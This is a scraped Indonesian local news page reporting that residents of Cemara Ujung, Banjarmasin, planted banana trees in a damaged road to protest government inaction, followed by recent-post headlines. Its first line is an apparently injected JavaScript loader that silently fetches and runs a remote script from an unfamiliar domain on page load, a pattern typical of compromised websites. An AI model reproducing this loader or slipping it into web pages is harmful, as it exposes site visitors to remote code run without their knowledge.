(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Truk Sering Amblas, Warga Tanam Pohon Pisang di Jalan Rusak


KANALKALIMANTAN.COM, BANJARMASIN – Warga jalan tembus Perumnas atau Cemara Ujung, Kelurahan Alalak Utara, Kecamatan Banjarmasin Utara, Kota Banjarmasin, tanam pohon pisang di jalan yang rusak.

Sebuah bentuk protes terhadap pihak pemerintah, lantaran belum adanya penanganan terhadap jalan di permukiman yang rusak tersebut.

Dari pantauan Kanalkalimantan.com, terlihat pohon pisang yang tertanam ditumpukan pasir di badan jalan tembus Perumnas.
Anam (38), warga Cemara Ujung, kepada kanalkalimantan.com mengatakan, tanam pisang dio tengah jalan tersebut, merupakan bentuk protes dan menarik perhatian Pemerintah Kota Banjarmasin, agar rusaknya jalan tersebut bisa segera diperbaiki.

“Ya soalnya kita sudah bosan juga, melihat dan merasakan jalan yang rusak ini, sudah lama masih belum ada tindakan dari pemerintah, untuk memperbaiki jalan tersebut,” ujar Anam kepada Kanalkalimantan.com, Selasa (16/3/2021) siang.

 

Menurut informasi yang dihimpun, pohon pisang tersebut, sudah ada sejak Minggu malam. Anam mengungkapkan, kalau rusaknya jalan ini sangat mengganggu bagi masyarakat yang ada di kawasan permukiman tersebut dan para pengendara yang melintasi jalan tersebut.

“Ya kalau yang seingat saya saja, sudah ada 26 truk yang sempat amblas di jalan tersebut. Belum lagi yang saya tidak tahu,” ungkap Anam.

Selain itu juga, akibat dari rusaknya jalan ini, kerap mengakibatkan kemacetan di ruas jalan tersebut. Tidak hanya itu, yang paling parah pada saat hari panas debunya berterbangan, sehingga membahayakan kesehatan warga.

“Ya kalau harinya hujan jalanan jadi becek, tapi kalau hari panas berdebu, jadinya serba salah, panas salah dan hujan juga salah,” ucapnya.

Ia juga menambahkan, selain sebagai bentuk protes, tempat ditanamnya pohon pisang tersebut, merupakan sebagai penanda, untuk titik lubang atau jalan rusak yang terparah.

“Iya lokasi pohon pisang itu, merupakan lokasi atau titik yang sering membuat amblas, kalau dibongkar pasirnya itu, kedalaman lubangnya sekitar 30-50 cm,” tambah Anam.

Ia berharap, pemerintah segera lekas melakukan perbaikan jalan tersebut, agar bisa kembali normal dan warga tidak merasakan dampak dari rusak jalan itu lebih lama.

“Ya apa lagi ini merupakan akses jalan utama dari batola untuk bisa masuk ke Kota Banjarmasin,” pungkas Anam. (kanalkalimantan.com/tius)

Reporter: tius
Editor : kk


Al Ghifari

Recent Posts

Peternakan Babi Dekat Kampus UIN Antasari di Guntung Manggis Dikeluhkan

Pemilik Ternak Diminta Datang ke Kantor Satpol PP Banjarbaru Read More

18 menit ago

Rekayasa Pemasangan ATSC, Jalan Pangeran Suriansyah Steril Parkir dan PKL

KANALKALIMANTAN.COM, BANJARBARU - Kawasan pinggir jalan maupun median di Jalan Pangeran Suriansyah, Kota Banjarbaru, Kalimantan… Read More

2 jam ago

Pj Bupati HSU Resmikan TMMD ke-120 di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan secara resmi membuka… Read More

3 jam ago

Sekat Bakar Antisipasi Karhutla Ring 1 Bandara Syamsudin Noor

KANALKALIMANTAN.COM, BANJARBARU - Provinsi Kalimantan Selatan kembali memfokuskan penanganan ancaman kebakaran hutan dan lahan (Karhutla)… Read More

3 jam ago

Buaya di Pelambuan Banjarmasin Gagal Ditangkap, Tiga Kali Terlihat Warga Muncul

KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More

7 jam ago

Ambulans Baru Layanan Puskesmas Keliling di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More

7 jam ago

This website uses cookies.